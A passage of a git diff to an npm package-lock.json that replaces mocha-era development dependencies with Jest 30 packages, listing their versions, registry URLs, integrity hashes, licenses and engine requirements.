"https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", - "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "node_modules/jest-util/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", "dev": true, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" } }, - "node_modules/is-plain-object": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", - "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", + "node_modules/jest-validate": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-30.0.2.tgz", + "integrity": "sha512-noOvul+SFER4RIvNAwGn6nmV2fXqBq67j+hKGHKGFCmK4ks/Iy1FSrqQNBLGKlu4ZZIRL6Kg1U72N1nxuRCrGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/get-type": "30.0.1", + "@jest/types": "30.0.1", + "camelcase": "^6.3.0", + "chalk": "^4.1.2", + "leven": "^3.1.0", + "pretty-format": "30.0.2" + }, "engines": { - "node": ">=0.10.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "node_modules/jest-watcher": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-30.0.2.tgz", + "integrity": "sha512-vYO5+E7jJuF+XmONr6CrbXdlYrgvZqtkn6pdkgjt/dU64UAdc0v1cAVaAeWtAfUUMScxNmnUjKPUMdCpNVASwg==", "dev": true, - "engines": { - "node": ">=10" + "license": "MIT", + "dependencies": { + "@jest/test-result": "30.0.2", + "@jest/types": "30.0.1", + "@types/node": "*", + "ansi-escapes": "^4.3.2", + "chalk": "^4.1.2", + "emittery": "^0.13.1", + "jest-util": "30.0.2", + "string-length": "^4.0.2" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true - }, - "node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "node_modules/jest-worker": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.0.2.tgz", + "integrity": "sha512-RN1eQmx7qSLFA+o9pfJKlqViwL5wt+OL3Vff/A+/cPsmuw7NPwfgl33AP+/agRmHzPOFgXviRycR9kYwlcRQXg==", "dev": true, "license": "MIT", + "dependencies": { + "@types/node": "*", + "@ungap/structured-clone": "^1.3.0", + "jest-util": "30.0.2", + "merge-stream": "^2.0.0", + "supports-color": "^8.1.1" + }, "engines": { - "node": ">=0.10.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jackspeak": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, + "license": "MIT", "dependencies": { - "@isaacs/cliui": "^8.0.2" + "has-flag": "^4.0.0" }, - "funding": { - "url": "https://github.com/sponsors/isaacs" + "engines": { + "node": ">=10" }, - "optionalDependencies": { - "@pkgjs/parseargs": "^0.11.0" + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" } }, "node_modules/js-tokens": { @@ -2179,6 +4429,13 @@ "node": ">=6" } }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true, + "license": "MIT" + }, "node_modules/json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", @@ -2208,51 +4465,35 @@ "node": ">=0.10.0" } }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", "dev": true, - "dependencies": { - "p-locate": "^5.0.0" - }, + "license": "MIT", "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": ">=6" } }, - "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", - "dev": true - }, - "node_modules/log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", "dev": true, - "dependencies": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } + "license": "MIT" }, - "node_modules/loupe": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.6.tgz", - "integrity": "sha512-RaPMZKiMy8/JruncMU5Bt6na1eftNoo++R4Y+N2FrxkDVTrGvcyzFTsaGif4QTeKESheMGegbhw6iUAq+5A8zA==", + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", "dev": true, - "dependencies": { - "get-func-name": "^2.0.0" - } + "license": "MIT" }, "node_modules/lru-cache": { "version": "10.4.3", @@ -2290,6 +4531,23 @@ "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", "dev": true }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "license": "MIT" + }, "node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -2329,6 +4587,16 @@ "node": ">= 0.6" } }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/minimatch": { "version": "5.1.6", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", @@ -2357,85 +4625,35 @@ "node": ">=16 || 14 >=14.17" } }, - "node_modules/mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", - "dev": true, - "license": "MIT", - "dependencies": { - "minimist": "^1.2.6" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/mocha": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.0.1.tgz", - "integrity": "sha512-+3GkODfsDG71KSCQhc4IekSW+ItCK/kiez1Z28ksWvYhKXV/syxMlerR/sC7whDp7IyreZ4YxceMLdTs5hQE8A==", - "dev": true, - "dependencies": { - "ansi-colors": "^4.1.3", - "browser-stdout": "^1.3.1", - "chokidar": "^3.5.3", - "debug": "^4.3.5", - "diff": "^5.2.0", - "escape-string-regexp": "^4.0.0", - "find-up": "^5.0.0", - "glob": "^10.4.5", - "he": "^1.2.0", - "js-yaml": "^4.1.0", - "log-symbols": "^4.1.0", - "minimatch": "^5.1.6", - "ms": "^2.1.3", - "serialize-javascript": "^6.0.2", - "strip-json-comments": "^3.1.1", - "supports-color": "^8.1.1", - "workerpool": "^6.5.1", - "yargs": "^16.2.0", - "yargs-parser": "^20.2.9", - "yargs-unparser": "^2.0.0" - }, - "bin": { - "_mocha": "bin/_mocha", - "mocha": "bin/mocha.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/mocha/node_modules/supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/supports-color?sponsor=1" - } - }, "node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "dev": true }, - "node_modules/ncp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz", - "integrity": "sha512-zIdGUrPRFTUELUvr3Gmc7KZ2Sw/h1PiVM0Af/oHB6zgnV1ikqSfRk+TOufi79aHYCW3NiOXmr1BP5nWbzojLaA==", + "node_modules/napi-postinstall": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/napi-postinstall/-/napi-postinstall-0.2.5.tgz", + "integrity": "sha512-kmsgUvCRIJohHjbZ3V8avP0I1Pekw329MVAMDzVxsrkjgdnqiwvMX5XwR+hWV66vsAtZ+iM+fVnq8RTQawUmCQ==", "dev": true, "license": "MIT", "bin": { - "ncp": "bin/ncp" + "napi-postinstall": "lib/cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/napi-postinstall" } }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, "node_modules/neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", @@ -2443,76 +4661,6 @@ "dev": true, "license": "MIT" }, - "node_modules/nicer-fs": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/nicer-fs/-/nicer-fs-1.1.1.tgz", - "integrity": "sha512-6JjBnUyN3xEi1GjLRbIQ2N8bOOLG3w04pifpsP/jCNsax1MRepn0rb939knnXnPVR0hi+r7fl9Nfxmf8PA5X9A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/glob": "^5.0.30", - "@types/ncp": "^2.0.0", - "@types/node": "^7.0.13", - "@types/rimraf": "^0.0.28", - "glob": "^7.1.1", - "mkdirp": "^0.5.1", - "ncp": "^2.0.0", - "rimraf": "^2.6.1" - } - }, - "node_modules/nicer-fs/node_modules/@types/node": { - "version": "7.10.14", - "resolved": "https://registry.npmjs.org/@types/node/-/node-7.10.14.tgz", - "integrity": "sha512-29GS75BE8asnTno3yB6ubOJOO0FboExEqNJy4bpz0GSmW/8wPTNL4h9h63c6s1uTrOopCmJYe/4yJLh5r92ZUA==", - "dev": true, - "license": "MIT" - }, - "node_modules/nicer-fs/node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/nicer-fs/node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Glob versions prior to v9 are no longer supported", - "dev": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/nicer-fs/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, "node_modules/nock": { "version": "12.0.3", "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz", @@ -2528,24 +4676,12 @@ "node": ">= 10.13" } }, - "node_modules/node-fetch": { - "version": "2.6.7", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", - "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "dev": true, + "license": "MIT" }, "node_modules/node-releases": { "version": "2.0.19", @@ -2563,36 +4699,51 @@ "node": ">=0.10.0" } }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "dependencies": { "wrappy": "1" } }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", "dev": true, + "license": "MIT", "dependencies": { - "yocto-queue": "^0.1.0" + "mimic-fn": "^2.1.0" }, "engines": { - "node": ">=10" + "node": ">=6" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", "dev": true, "dependencies": { - "p-limit": "^3.0.2" + "yocto-queue": "^0.1.0" }, "engines": { "node": ">=10" @@ -2617,6 +4768,25 @@ "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", "dev": true }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -2669,15 +4839,6 @@ "node": ">=8" } }, - "node_modules/pathval": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", - "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", - "dev": true, - "engines": { - "node": "*" - } - }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -2707,9 +4868,9 @@ } }, "node_modules/pirates": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", - "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", "dev": true, "license": "MIT", "engines": { @@ -2795,6 +4956,34 @@ "node": ">=4" } }, + "node_modules/pretty-format": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz", + "integrity": "sha512-yC5/EBSOrTtqhCKfLHqoUIAXVRZnukHPwWBJWR7h84Q3Be1DRQZLncwcfLoPA5RPQ65qfiCMqgYwdUuQ//eVpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.1", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, "node_modules/propagate": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz", @@ -2809,6 +4998,23 @@ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" }, + "node_modules/pure-rand": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-7.0.1.tgz", + "integrity": "sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, "node_modules/queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", @@ -2828,26 +5034,12 @@ } ] }, - "node_modules/randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "dev": true, - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } + "license": "MIT" }, "node_modules/recast": { "version": "0.20.5", @@ -2873,74 +5065,37 @@ "engines": { "node": ">=0.10.0" } - }, - "node_modules/reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rimraf": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", - "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", - "deprecated": "Rimraf versions prior to v4 are no longer supported", - "dev": true, - "license": "ISC", - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/rimraf/node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/rimraf/node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Glob versions prior to v9 are no longer supported", - "dev": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/rimraf/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", "dev": true, - "license": "ISC", + "license": "MIT", "dependencies": { - "brace-expansion": "^1.1.7" + "resolve-from": "^5.0.0" }, "engines": { - "node": "*" + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": 